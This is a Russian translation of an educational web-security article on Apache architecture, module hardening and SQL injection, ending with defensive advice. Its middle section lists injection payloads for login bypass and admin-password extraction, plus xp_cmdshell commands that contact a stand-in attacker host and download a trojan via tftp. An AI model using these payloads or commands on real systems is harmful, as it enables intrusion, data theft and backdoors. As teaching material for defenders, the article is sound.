Наши партнеры

UnixForum

Библиотека сайта rus-linux.net

Безопасная эксплуатация Apache, часть 1: базовые понятия

Оригинал: Securing Apache, Part 1: The Basics
Автор: Arpit Bajpai
Дата публикации: 1 Августа 2010 г.
Перевод: А.Панин
Дата перевода: 3 Января 2013 г.

Данная серия статей предназначена для читателей, интересующихся аспектами безопасности веб-приложений, экспертов в области защиты информации и всех тех, кто хочет начать строить карьеру в области защиты веб-приложений и пытается охватить вопросы повышения безопасности работы веб-сервера Apache наряду с описанием любых возможных атак, проводимых с целью дестабилизации его работы.

С рыночной долей около 54-56 процентов среди веб-серверов по результатам голосования на сайте netcraft.com, Apache является вторым по популярности проектом с открытым исходным кодом, находящимся в рейтинге после ядра Linux от Линуса Торвальдса. На самом деле этот проект является де-факто стандартом в области веб-приложений. Однако, в связи с большой распространенностью, этот проект всегда привлекал взломщиков и до сих пор является уязвимым к ряду известных и неизвестных атак. Эксплуатация Apache без мероприятий по обеспечению безопасности может нанести огромный урон вашему сайту, всему серверу, а также вашей репутации в случае доступа к информации вашего сайта.

Логичным шагом является повышение безопасности эксплуатации веб-приложений и всего веб-сервера - это именно то, что мы будем обсуждать в данной серии статей. Начнем серию с рассмотрения архитектуры Apache, после чего рассмотрим большинство атак, которые могут быть направлены против вашего веб-сервера Apache или вашего веб-приложения и, конечно же, после этого рассмотрим некоторые решения, повышающие безопасность эксплуатации вышеназванных программных компонентов. Перед началом хотелось бы дать особо ценный совет: при чтении этих статей рассматривайте ситуации с точки зрения взломщика с целью получения опыта, который пригодится вам для повышения безопасности работы вашего веб-сервера.

Исследование Apache

Очевидным фактом является то, что для повышения безопасности функционирования любой системы нужно начинать работу с подробного изучения ее архитектуры. В этом разделе рассматриваются внутренние механизмы Apache для понимания того, как осуществляется работа с веб-приложениями и модулями. Обозначенные компоненты тесно связаны друг с другом, что еще больше усложняет их безопасную эксплуатацию. Каждая внешняя система (база данных, сервер LDAP, веб-служба) использует свой собственный язык программирования или управления, что позволяет производить атаки по разным направлениям и увеличивает шансы отказа системы безопасности.

Рисунок 1 иллюстрирует стандартную установку Apache с обзором компонентов.

Компоненты Apache
Рисунок 1: Компоненты Apache

Основные компоненты Apache реализуют базовые функции веб-сервера. Следующие компоненты являются основными:
  • http_protocol.c - содержит функции для поддержки возможности передачи данных клиенту в соответствии с требованиями протокола HTTP.
  • http_request.c - поддерживает поток обработки запросов и контролирует распределение задач между модулями в заданной последовательности. Также отвечает за обработку ошибок.
  • http_main.c - осуществляет запуск сервера; содержит функции для реализации главного цикла сервера, в котором осуществляется ожидание и прием соединений. Также присутствуют функции, управляющие периодами времени ожидания.
  • http_core.c - основной компонент, реализующий базовые функции Apache. Хотя этот компонент и использует API модулей Apache, имеются нюансы; он имеет нестандартное имя файла, http_core вместо ожидаемого mod_core. Он работает как модуль, но вместе с тем имеет прямой доступ к ряду глобальных переменных, что не характерно для модулей.
  • http_config.c - отвечает за обработку информации о виртуальных узлах и и чтение файлов конфигурации; также поддерживает список модулей, вызванных в ходе обработки запросов.

Apache также поддерживает большое количество функций, многие из которых представлены в виде скомпилированных модулей, расширяющих базовые функции. Эти функции охватывают диапазон от поддержки CGI и PHP до схем аутентификации и записи событий. Модули не взаимодействуют напрямую между собой; они взаимодействуют посредством ядра Apache, так как оно поддерживает связанные списки установленных модулей и их обработчиков.

Каждый модуль имеет обработчики, предназначенные для осуществления таких действий, как отправка файла клиенту (обработчик "send-as-is"), рассмотрение файла в качестве сценария CGI (обработчик "cgi-script") или поиск директив SSI (включения на стороне сервера - обработчик "server-parsed"), а также многих других. Каждый обработчик представляет индивидуальное действие, выполняемое при приеме запроса. Ядро Apache вызывает необходимый обработчик для индивидуальных запросов, тем самым используя модуль, реализующий этот обработчик.

После успешной установки и базовой настройки Apache, первым действием, которое необходимо предпринять с точки зрения безопасности, является ограничение списка активных модулей. Вам необходимо отключить такие используемые (по умолчанию) модули, как mod_info, mod_status, mod_userdir и mod_include за исключением тех случаев, когда у вас есть серьезная необходимость в них.

У вас может возникнуть вопрос о том, для чего это нужно. Ответ прост - они могут помочь в осуществлении атаки на ваш сервер или предоставить полезную информацию взломщику. Первые два модуля позволяют получать информацию о настройках и состоянии веб-сервера в форме веб-страниц. Модуль mod_userdir позволяет каждому пользователю системы иметь персональный веб-сайт в домашней директории, доступный по адресу <server URL>/~username.

Apache возвращает ошибку 404 в случае, если пользователя, персональный веб-сайт которого запрашивается, не существует в системе; и возвращает ошибку 403 в случае, когда веб-сайт не найден в домашней директории пользователя. Генерируемые ошибки позволяют получить имена пользователей, присутствующих на сервере; обычно после этого взломщики пытаются получить доступ к серверу с использованием полученных учетных записей пользователей и часто используемых простых паролей. Как только им удается получить доступ к серверу с использованием командной оболочки, они могут попытаться использовать некоторые техники повышения привилегий для получения прав суперпользователя.

Модуль mod_include позволяет использовать сценарии. Хотя он и обладает мощными функциями, существует множество эксплоитов, разработанных специально для данного модуля. Отключите его, если он вам не нужен!

Фазы обработки запроса Apache

Для того, чтобы вернуть полностью сформированный ответ на запрос клиента, Apahce требуется использовать больше одного модуля. Как отмечалось ранее, все модули взаимодействуют или отвечают на запросы с использованием ядра Apache. Таким образом управление передается от ядра модулям и обратно. Этот процесс осуществляется путем разделения запроса на множество различных фаз; давайте рассмотрим каждую из стандартных фаз обработки запроса.

Фаза преобразования URI в имя файла

В настроенном сервере для осуществления этой фазы используются два стандартных модуля mod_userdir и mod_rewrite. (Однако, вы должны были уже отключить модуль mod_userdir из соображений безопасности, о которых говорилось выше.) Модуль mod_rewrite предоставляет гибкий механизм замены URL запроса. Он использует правила и в том случае, если заданное в правилах выражение встречается в URL, оно заменяется в соответствии в правилом. Установка этого модуля является хорошей идеей, поскольку он снижает вероятность использования специальных последовательностей в URL (таких, как локальные и удаленные включения файлов, которых мы поговорим в следующих статьях серии).

Примечание: URI (Uniform Resource Identifier - унифицированный идентификатор ресурса) является общим именем для семейства идентификаторов, состоящего из унифицированного имени ресурса (Uniform Resource Names - URN), унифицированных характеристик ресурса (Uniform Resource Characteristics - URC), унифицированных имен файлов (Location-Independent File Names - LIFN) и, конечно же, URL, являющегося их предком.

Фаза аутентификации и авторизации

Эта фаза состоит из двух подфаз:
  1. Проверка адреса узла и другой доступной информации: здесь начинает работу модуль mod_access. В сущности, модуль mod_access позволяет санкционировать доступ на основе информации об имени узла или IP-адресе, с которого осуществлялся запрос.
  2. Аутентификация пользователя на основе идентификатора в составе HTTP-запроса: здесь используется mod_auth, стандартный модуль аутентификации. Этот модуль позволяет аутентифицировать пользователей, данные которых (имя пользователя и зашифрованный пароль) хранятся в текстовых файлах. С точки зрения безопасности этот модуль не рекомендуется использовать, так как он не предназначен для работы с большим количеством пользователей. Всего несколько тысяч пользовательских запросов могут привести к значительному падению производительности при проверке данных, а это обстоятельство может быть использовано взломщиком для проведения атаки отказа в обслуживании с использованием SYN-сегментов. Для решения этой проблемы мы рассмотрим вопрос использования модулей для шейпинга трафика в следующих статьях серии. Модуль mod_auth_anon используется для анонимной аутентификации.

Определение MIME-типа запроса

В ходе этой фазы производится обработка параметров запроса: типа содержимого, кодировки, языка и других. Здесь используются стандартные модули mod_mime и mod_mime_magic. Первый позволяет определять MIME-тип на основе расширений файлов и предоставляет клиентам мета-информацию о документах. Он также позволяет задавать обработчик для указания того, как должен обрабатываться документ.

Модуль mod_mime_magic выполняет те же задачи, но он использует несколько первых байт файла и сравнивает их с заданными значениями для определения типа. Он требуется только тогда, когда модуль mod_mime не в состоянии определить известный MIME-тип.

Фаза исправления URL

Модуль mod_alias позволяет создать отображение одной части пользовательской файловой системы в другую. Например, если принят запрос http://www.example.com/info/info.php, он может быть перенаправлен по адресу http://www.example.com/info/lfu/info.php. При выполнении таких задач модуль mod_rewrite имеет приоритет перед модулем mod_alias, поскольку mod_rewrite может также создавать отображения URL для разных имен узлов и может выполнять сложные задачи, такие как манипуляции со строкой запроса.

Также в ходе этой фазы модуль mod_env используется для передачи переменных окружения внешним программам, таким, как сценарии CGI, PHP, mod_perl или страницы с применением SSI.

Фаза ответа

В ходе этой фазы могут использоваться различные модули для формирования ответа. Например, модуль mod_asis может быть использован для статических страниц; он позволяет вам отправлять документы клиентам без внесения изменений и без заголовков HTTP. Это может быть полезным для перенаправления клиентов без использования сценариев.

Модуль mod_cgi вызывает сценарии CGI и возвращает результат. Модуль mod_include обрабатывает включения на стороне сервера. (Обычно под SSI подразумевается HTML-страница с командами для Apache и других веб-серверов.)

Фаза создания записи о запросе в журнале

Знать о том, кто (или что) осуществляет доступ к вашему сайту очень важно с точки зрения безопасности. Apache предоставляет модуль mod_log_config, который отвечает за создание основного журнала событий и ведет запись по умолчанию в CLF-файлы. В дополнение к этому модуль mod_usertrack может записывать в журнал информацию о куках, которая также очень важна.

Обратитесь к официальной документации Apache для ознакомления с полным списком модулей, содержащим ссылки на страницы с документацией, описывающей их использование и директивы. Директивы модулей используются в главном файле настроек Apache /etc/httpd.conf.

Эти принципы работы веб-сервера Apache могут быть уже знакомы вам, но они важны, так как мы перейдем к рассмотрению примеров их использования с целью повышения безопасности функционирования Apache в следующих статьях серии. Сейчас же мы рассмотрим еще несколько аспектов, важных с точки зрения безопасности!

Для чего вы используете Apache? Очевидно, что для того, чтобы позволить посетителям со всего мира получить доступ к вашим веб-приложениям! На данный момент вам следует понять, что если веб-приложение имеет дефекты в плане безопасности, то даже самая безопасная конфигурация веб-сервера Apache не будет иметь смысла, так как взломщик может беспрепятственно получить доступ к вашему сайту, воспользовавшись дефектом веб-приложения!

Наш следующий раздел посвящен тому, как идентифицировать возможные дефекты ваших веб-приложений, начиная с самых часто встречаемых и как предотвратить возможность их использования, заставив взломщиков столкнуться с более безопасной системой.

Повышение безопасности функционирования ваших приложений - изучение техник проведения взломов

На Рисунке 2 представлена схема классической клиент-серверной веб-архитектуры с указанием различных направлений атак или путей воздействия на данные, передаваемые веб-приложениям.

Классическая клиент-серверная веб-архитектура с указанием направлений атак
Рисунок 2: Классическая клиент-серверная веб-архитектура с указанием направлений атак

Мы рассмотрим все типы атак в рамках данной серии статей, а начнем рассмотрение с инъекций.

Инъекциями называют атаки, при которых вредоносные данные, предоставленные взломщиком, передаются приложению, преодолевают установленные системой ограничения и передаются компонентам системы. Это особенно опасные атаки, проведение которых возможно по той причине, что строка, безопасная для сценария PHP (или другого языка сценариев) может стать опасным оружием при достижении базы данных. Уязвимости данного типа особенно опасны, так как они могут воздействовать на любое веб-приложение, генерирующее динамические страницы, которое не было тщательно протестировано и не защищено от них. Сейчас мы подробнее рассмотрим наиболее часто встречающийся вид атаки данного типа, называемый SQL-инъекцией.

Предупреждение: Техники атак, обсуждаемые ниже, описываются только с целью информирования вас для облегчения работы по повышению безопасности веб-приложений. Не пытайтесь использовать эти техники в отношении серверов в Интернет, на вашем рабочем месте или любой сети или сервера, не принадлежащих вам, до тех пор, пока у вас не будет письменного разрешения от владельца сервера и сети для проведения подобного тестирования! Закон Индии устанавливает порядок преследования, штрафы и даже возможность тюремного заключения для лиц, получающих несанкционированный доступ к системам, которыми они не распоряжаются.
Также помните о том, что если у вас есть веб-сайт, расположенный у хостинг-провайдера или на арендованном физическом сервере, сервер и сеть не принадлежат вам, хотя вам принадлежит содержимое сайта. В идеальном случае вам следует получить разрешение от хостинг-провайдера или владельца сервера даже для проведения тестирования вашего веб-сайта или веб-приложения.
Лучшим вариантом для тестирования ваших веб-приложений является использование их в вашей частной локальной сети или еще лучше - в виртуальной машине на вашем персональном компьютере, в которой выполняется Apache и сервер базы данных и установлена копия вашего веб-приложения. После этого вы можете проводить тестирование в рамках виртуальной машины, не сталкиваясь с законами о поведении в сети.

SQL-инъекции

SQL-инъекция является атакой, при которой взломщик добавляет код SQL в запрос, отправляемый серверу (обычно через поле ввода в HTML-форме), для получения доступа к базе данных или изменения данных внутри нее. В случае игнорирования уязвимости, атаки на основе SQL-инъекций могут позволить взломщикам даже уничтожить содержимое вашего веб-сайта, не говоря о доступе к конфиденциальным данным.

Такие функции веб-сайтов, как страницы ввода идентификационных данных, формы отправки информации, страницы поиска, таблицы покупок, и.т.д, использующие базы данных, наиболее уязвимы к атакам на основе SQL-инъекций. Взломщик вводит специально оформленные команды или выражения SQL в поля формы, пытаясь получить различные результаты. Практически все технологии сценариев - ASP, ASP.NET, PHP, JSP и CGI потенциально уязвимы для этих атак в том случае, если используются сервера баз данных MS SQL Server, Oracle, MySQL, Postgres или DB2.

Базовые знания в области команд SQL и опыт исследования - это все что нужно для получения доступа к небезопасному приложению. Межсетевые экраны и системы обнаружения проникновений не могут помочь, так как они работают на уровне протоколов HTTP, SSL и других веб-протоколов, а базы данных остаются незащищенными.

Большинство разработчиков до сих пор не осведомлены о проблеме и ситуация постепенно ухудшается: консорциум веб-безопасности информирует о том, что доля SQL-инъекций составляет более 7 процентов от всех уязвимостей присутствующих в каждых исследованных 15000 приложений.

Примечание: атаки на основе SQL-инъекций "глобальны"; они встречаются не только в программном обеспечении, базах данных или приложениях с открытым исходным кодом, а также и в пропиетарном программном обеспечении, список которого вы можете увидеть в отчете консорциума.

SQL-инъекция с использованием формы ввода идентификационных данных

Давайте рассмотрим стандартный уязвимый фрагмент кода из страницы на ASP, который генерирует запрос к базе данных для проверки имени пользователя и пароля и отправляет его для выполнения сервером базы данных MS SQL: 
var sql = "SELECT * FROM Users WHERE usr= ' " + user + " ' AND password=' " + paswd + " ' ";
В случае, если пользователь вводит корректные данные (используя страницу на ASP), его имя "arpit" и пароль "bajpai", сгенерированный запрос имеет вид: 
SELECT * FROM Users WHERE usr='arpit' AND password='bajpai'
Этот запрос безопасен и представлен в той форме, о которой думал разработчик в ходе работы над страницей. Однако, стоит рассмотреть вариант, при котором взломщик вводит вредоносный код в поле имени пользователя - что-то типа ' or 1=1 --', при этом запрос будет выглядеть следующим образом: 
SELECT * FROM Users WHERE usr=' ' or 1=1 -- AND password=' '
Поскольку пара дефисов отделяет комментарий от кода в языке SQL-сервера T-SQL, в данном случае эффективный запрос будет следующим: 
SELECT * FROM Users WHERE usr=' ' or 1=1

Для читателей, не знающих языка SQL, следует пояснить, что запрос расшифровывается следующим образом: "где поле имени пользователя не заполнено, ИЛИ 1=1".

Хитрость заключается в том, что при использовании логического условия ИЛИ, выражение будет истинным в том случае, когда один из операндов из условия ИЛИ является истинным. Поэтому этот запрос возвращает множество пользовательских записей и позволяет осуществить вход.

Неприятности не кончаются на этом этапе: так как большинство веб-приложений используют учетную запись администратора, добавленную в таблицу пользователей при разработке, код страницы на ASP обнаруживает эту запись первой и считает, что вход осуществляется администратором! Человек, даже не знающий корректного имени пользователя и пароля получает привилегии администратора в рамках вашего веб-приложения.

SQL-инъекция с использованием строки запроса (URL)

Взломщик может также попытаться провести атаку с применением SQL-инъекции, добавив код SQL к URL. Как это работает? Давайте внимательно рассмотрим пример. Предположим, что база данных с таблицей и полями создана и заполнена при помощи данного SQL-запроса: 
CREATE TABLE Products
(

ID INT identity(1,1) NOT NULL,
prodName VARCHAR(50) NOT NULL,
)

INSERT INTO PRODUCTS (prodName) VALUES ('Dell laptops')
INSERT INTO PRODUCTS (prodName) VALUES ('Nokia express music')
INSERT INTO PRODUCTS (prodName) VALUES ('Samsung dual sim range')
Также предположим, что мы используем данный ASP-сценарий с именем products.asp на сайте; сценарий использует базу данных с таблицей, описанной выше. 
<%
dim prodId
prodId = Request.QueryString("productId")

set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")
query = "select prodName from products where id = " & prodId
conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query
if not rs.eof then
response.write "Got product " & rs.fields("prodName").value
else
response.write "No product found"
end if
%>
Если мы обратимся к сценарию products.asp с помощью нашего браузера с (стандартным) URL: http://www.example.com/products.asp?productId=1, мы увидим результат его выполнения в виде строки "Got product Dell laptop". Параметр берется непосредственно из строки запроса (переданного URL) и объединяется с условием запроса WHERE, поэтому запрос, сгенерированный при передаче параметра productId=1 в URL, будет выглядеть следующим образом: 
SELECT prodName FROM products WHERE id = 1
Теперь, если взломщик модифицирует URL и отправляет запрос, аналогичный следующему http://www.example.com/products.asp?productId=0 и содержащий 1=1, запрос к базе данных принимает следующий вид: 
SELECT prodName FROM products WHERE id = 0 or 1=1

Выполнение этого запроса приведет к появлению ошибки, представленной на Рисунке 3 или аналогичной.

Ошибка SQL, вызванная инъекцией с использованием строки запроса
Рисунок 3: Ошибка SQL, вызванная инъекцией с использованием строки запроса

Вы также можете увидеть сообщение об ошибке, которое содержит вывод полей продуктов, таких как products.prodName. Взломщик может использовать эту информацию в своих целях для добавления или удаления данных таблицы. Например, этот запрос позволяет провести инъекцию: http://localhost/products.asp?productId=0;INSERT INTO products(prodName) VALUES(left(@@version,50)).

В общем случае при его выполнении возвращается "No product found"; однако, он должен также добавить в базу данных с помощью запроса INSERT первые 50 символов строки из переменной @@version SQL-сервера (которая содержит подробную информацию о версии, номере сборки и других параметрах SQL-сервера) в качестве новой записи в таблицу Products. Взломщик может использовать эту информацию впоследствии для разработки специфических эксплоитов для данной версии SQL-сервера.

Многие разработчики советуют использовать двойные кавычки вместо единичных в целях безопасности, но это является только полумерой, так как обычно в формах и параметрах встречаются также числовые поля и поля дат, остающиеся уязвимыми, как в примере выше, а также советуют использовать PHP/MySQL, в синтаксисе запросов которых не используются единичные кавычки. 
$a = "SELECT * FROM accountsWHERE account = $acct AND pin = $pin";
Теперь взломщик использует инъекцию и вводит в поля HTML-формы, принимающие числовые значения, следующий код: $acct= a or a=a # $pin = 1234. В результате запрос к базе данных будет выглядеть следующим образом: 
SELECT * FROM accounts WHERE account = a or a=a# AND pin = 1234

(В этом случае комментарий начинается с символа #, а не двойного дефиса, так как базой данных является MySQL. Другие подобные строки, используемые взломщиками: ' or a=a -- , ' или 'x'='x, 1' или '1'='1, ' или 0=0 #, " или "a"="a, ') или ('a'='a), и.т.д. Обратите внимание на важное значение единичных кавычек в этих строках.

Выполнение системных команд на SQL-сервере

При атаке на SQL-сервер взломщик может получить информацию о IP-адресе при помощи обращения к серверу имен с использованием системных команд. Например (a.b.c.d является IP-адресом взломщика): 
';EXEC master..xp_cmdshell "nslookup example.com a.b.c.d"

Во время выполнения запроса SQL-сервер произведет запуск программы nslookup с адресом взломщика в качестве сервера имен. Взломщики могут использовать множество методов, включающих в себя использование сниффера tcpdump в своей системе для установления IP-адреса, с которого осуществлялся запрос DNS. Если IP-адрес является публичным, взломщики получают всю необходимую информацию: они могут компилировать и использовать эксплоиты по отношению к узлу с полученным адресом, предназначенные для эксплуатации уязвимостей операционной системы и сервера базы данных.

Иногда возможен вариант, при котором SQL-сервер не имеет публичного IP-адреса, но взломщику удается закачать троян или бэкдор на сервер (a.b.c.d является адресом сервера, на котором доступно вредоносное ПО): 
';EXEC master..xp_cmdshell "tftp -i a.b.c.d GET Trojan.exe c:Trojan.exe"

Скачанная программа может быть запущена в ходе следующего вызова xp_cmdshell. В этом случае можно выполнить больше различных действий, включая соединение с IP-адресом взломщика для установления прямого канала управления операционной системой сервера. Если SQL-сервер запущен с привилегиями администратора, что часто делается после установки, взломщики получают полный доступ к системе. Они могут передавать файлы с сервера, используя tftp, причем в этих файлах может содержаться конфиденциальная информация, финансовая информация и даже пароли для доступа в систему.

Более того, взломщики проникают внутрь частной локальной сети - они могут получить доступ к другим узлам в локальной сети и попробовать проникнуть в эти системы, что невозможно напрямую, ведь локальная сеть защищена межсетевым экраном для блокировки соединений из Интеренет за исключением разрешенных, таких, как HTTP/HTTPS для веб-сервера.

Если вы хотите получить больше практических советов по поводу данных атак, на видеохостингах YouTube и Metacafe можно найти множество соответствующих видеороликов.

Примечание: Я хотел бы повторить предупреждение о том, что ни я, ни журнал LFY не ставим своей целью научить вас атаковать серверы; эта информация предоставляется в ознакомительных целях для того, чтобы вы смогли как можно лучше защитить свою инфраструктуру.

Поиск уязвимостей, позволяющих осуществить SQL-инъекции

Давайте рассмотрим методику, применяемую многими исследователями в области безопасности для поиска уязвимостей, позволяющих осуществить SQL-инъекции.

Поиск точек ввода

На данном начальном этапе производится поиск точек ввода, таких как поля ввода форм, значения, хранящиеся в куках, и скрытые поля. Для этой цели применяется fuzzing-техника, в ходе использования которой приложению отправляются специфические комбинации строк, состоящие из управляющих символов и команд SQL. Неожиданное сообщение об ошибке или изменение в алгоритме работы приложения указывает на уязвимость, которую может использовать взломщик.

Примечание: Fuzzing-техника является автоматизированной программной техникой тестирования, при использовании которой приложению передаются некорректные и не предназначенные для обработки входные данные. Если приложение отвечает некорректно или наблюдается падение производительности, оно может быть подвергнуто дополнительному исследованию.

Сбор информации

Следующим шагом является сбор такого количества информации, которое возможно получить о приложении в ходе следующих этапов:
  1. Ошибки в выводе: Лучшим вариантом для взломщика является получение ответа на модифицированный запрос в составе сообщения веб-сервера. Если веб-сервер (в нашем случае Apache) настроен таким образом, что выводит сообщения об ошибках, из этих сообщений может быть получено большое количество информации. Например, страница ошибки номер 403 на веб-сайте Apache предоставляет следующую информацию: "apache/2.2.12 (unix) mod_ssl/2.2.12 openSSL/0.9.7d mod_wsgi/3.2 python/2.6.5rc2 server at httpd.apache.org port 80". Эта строка содержит информацию об установленных программных компонентах и их версиях, а также версию Apache. Она может быть использована взломщиками для подбора и использования эксплоитов, которые эксплуатируют уязвимости данной версии сервера. Более того, ошибки базы данных могут также предоставлять информацию о структуре таблицы или всей базы данных - примером может служить сообщение об ошибке, указывающее на то, что столбцы не были сгруппированы в ответ на условие HAVING в составе запроса SELECT.
  2. Предположение о базе данных: В большинстве случаев сообщения об ошибках также помогают сделать предположение об используемой базе данных. Например, если в качестве веб-сервера используется Apache и веб-сайт разработан с использованием языка PHP, вероятнее всего в качестве базы данных используется MySQL. Если же веб-сайт разработан с использованием ASP, вероятнее всего используется MS SQL Server. Тем не менее, более эффективным способом установления используемой базы данных является использование таблицы от проекта OWASP, приведенной на Рисунке 4. Вы можете сопоставить ключевые слова из сообщений об ошибках и введенные запросы с данными из таблицы на Рисунке 4 для предположения об используемой базе данных.
    Таблица от проекта OWASP, демонстрирующая различия диалектов SQL различных баз данных
    Рисунок 4. Таблица от проекта OWASP, демонстрирующая различия диалектов SQL различных баз данных
  3. Понимание запроса: Важно знать в каком типе запроса и в какой его части будет размещаться инъекция. Это может быть часть запросов SELECT, UPDATE, EXEC, INSERT, DELETE или CREATE, также это может быть часть подзапросов. Начните исследования с установления того, как обрабатываются введенные данные в каждом поле. Например, на странице "Смена вашего пароля" код SQL может быть следующим: SET password = 'new password' WHERE login = user AND password = 'old password'. В том случае, если вы введете новый пароль и символ комментария в поле "Новый пароль", может произойти замена всех паролей в таблице на заданный вами. Аналогично вы можете сделать предположение о структуре запроса SELECT, например, изучая ответы на запросы ' and '1'='1 и 'and '1'='2. Вы также можете генерировать специфические ошибки для установления имен таблиц и столбцов с помощью запросов, подобных этому: ' GROUP BY columnnames HAVING 1=1 --. Вы можете вводить полные запросы после символа завершения запроса, как мы говорили ранее, для получения информации об имени таблицы и столбцов. Для MySQL этот запрос будет выглядеть следующим образом: SHOW columns FROM tablename, для Oracle следующим: SELECT * FROM tab_column WHERE table_name= 'tablename'. Аналогично DB2, Postgres и другие базы данных имеют свой синтаксис.
  4. Период проникновения: Как только основная информация о базе данных, структура запросов и привилегии становятся известны, начинается процесс проникновения. Извлечение данных не представляет сложностей в том случае, когда известна структура базы данных и понятны запросы. Например, для получение пароля, соответствующего учетной записи с именем "admin", мы можем использовать следующую строку URL: http://www.example.com/products.asp?id=0;UNION SELECT TOP 1 password FROM account_table WHERE login_name='admin'--. Ту же процедуру можно проделать и для других учетных записей. Вы также можете получить хэши паролей, преобразовав их из бинарного в текстовый hex-формат, который может быть выведен в составе сообщения об ошибке.
Мы рассмотрели большой объем информации об атаках, основанных на SQL-инъекциях выше, но если вам необходима дополнительная информация, вы можете обратиться к разделу "Дополнительные ресурсы" в конце статьи. До этого момента остался без ответа важнейший вопрос: "Как мы можем защитить от этих атак наши существующие веб-приложения или, по крайней мере, сделать их как можно более безопасными?" Ответ прост: "Следовать советам, представленным ниже."
  1. Лучшим способом проверки вашего веб-сайта и приложений на уязвимость по отношению к атакам на основе SQL-инъекций является использование автоматизированных сканеров веб-уязвимостей, использующих эвристические методы (смотрите примечание о проверке безопасности веб-приложений ниже). Они также в состоянии провести проверку на уязвимость приложений по отношению к атакам межсайтового скриптинга и многим другим типам атак, о которых мы поговорим в следующих статьях серии.
    Примечание: Для получения информации об уязвимостях ваших веб-приложений следует использовать сканеры, которые сообщат вам об опасностях, которым подвергаются ваши веб-приложения и веб-сервер. Такие сканеры, как Webinspect, Nikto и Whisker наиболее популярны. Среди экспертов в области безопасности также пользуется популярностью коммерческий сканер Acunetix.
  2. Проверка вводимых данных является наиболее важной частью системы защиты от атак на основе SQL-инъекций. Если предполагается ввод числовых данных, используйте отдельные переменные для их хранения в вашем сценарии на сервере и отбрасывайте неверно введенные данные вместо удаления из них специальных символов и их модификации.
  3. Реализуйте фильтры, отбрасывающие ключевые слова, такие, как select, insert, update, shutdown, delete, drop и специальные символы, такие, как --, '. Также не реализуйте эти функции при помощи JavaScript на стороне клиента; наоборот, реализуйте фильтры в рамках сценария на сервере. Находчивые взломщики могут не только обойти проверки на JavaScript, но и использовать информацию из кода для лучшего понимания процесса фильтрации данных.
  4. Старайтесь использовать шифрование данных кук и избегать хранения данных в скрытых полях.
  5. Убедитесь, что вы запустили сервис базы данных с помощью непривилегированной учетной записи. Удалите неиспользуемые хранимые процедуры и функции или ограничьте к ним доступ для всех, кроме администраторов. Также измените права доступа и отключите возможность "публичного" доступа к объектам файловой системы. Если приложению требуется только доступ на чтение к определенным таблицам, приложение должно иметь возможность только читать данные. Не забудьте защитить сервер межсетевым экраном таким образом, чтобы только проверенные клиенты могли подключаться к нему.
  6. Закройте доступ для связанных серверов, таких, как FTP-серверы и сервисы Samba, которые соединяются с системой, используемой сервером базы данных. Также закройте все неиспользуемые порты для таких сетевых протоколов как telnet и TFTP если они вам не понадобятся. Это позволит предотвратить загрузку взломщиками троянов или руткитов на сервер через эти порты.
  7. Старайтесь избегать использования различных баз данных, связанных одним приложением, так как это ведет к усложнению кода, что в итоге может привести к появлению обходных путей, используемых злоумышленниками.
  8. При использовании паролей проводите их постоянные аудиты и регулярно меняйте их. Используйте сложные пароли длиной более 16 символов - это затрудняет работу множества программ по их подбору. Вы также можете реализовать систему проверки паролей и требовать от пользователей использования сложных паролей. Шифруйте и хэшируйте пароли и другие важные данные; никогда не храните их в виде незашифрованного текста. Шифрование строк с информацией о соединении является также полезным.
  9. Добавьте в ваши приложения код, записывающий в журнал IP-адреса посетителей сайта и блокирующий подозрительные адреса. Вы также можете добавить код для вывода предупреждений, подобных следующему: "ВНИМАНИЕ: Взломщик, ваш IP-адрес x.y.z.w был занесен в журнал. Ваши действия повлекут расследование, если будет выяснено, что вы совершали их злонамеренно."
  10. Если есть возможность, используйте мало распространенные базы данных, так как они мало известны и для них не существует большого количества эксплоитов. Регулярно следите за обновлениями, улучшающими производительность и исправляющими ошибки безопасности от разработчика базы данных.
  11. Используйте эти инструменты для аудита безопасности:
    • SQLninja является автоматизированным инструментом тестирования приложений на уязвимость к атакам, основанным на SQL-инъекциях. Он позволяет производить подбор паролей и идентификацию DBMS. Подробное описание здесь.
    • Greensql является экраном для баз данных с открытым исходным кодом, который может защитить от ошибок, вызванных SQL-инъекциями. Подробное описание здесь.
    • Также можете рассмотреть инструмент для блокирования SQL-инъекций, SQLblock DBC edition. Он позволяет использовать функцию предотвращения SQL-инъекций, работая как обычный источник данных ODBC/JDBC и исследуя каждый исполняемый SQL-запрос. Он оповещает администратора в случае обнаружения вредоносного или запрещенного SQL-запроса.
    • Хотя атаки на основе SQL-инъекций не всегда изучаются взломщиками в самом начале, мы рассмотрели их в подробностях в первой статье. Для получения более подробной информации об атаках на основе SQL-инъекций и других атаках, не забудьте посетить сайт www.owasp.org.

Мы рассмотрим межсайтовый скриптинг (XSS), исполнение команд и другие опасные типы атак на веб-приложения и сервер Apache в следующей статье. Между тем, вы можете оставлять свои вопросы и мнения разделе для комментариев ниже.

Помните: нужно знать все о взломе, но не заниматься им.

Дополнительные ресурсы:

Следующая статья серии: "Безопасная эксплуатация Apache, часть 2: межсайтовый скриптинг (XSS)"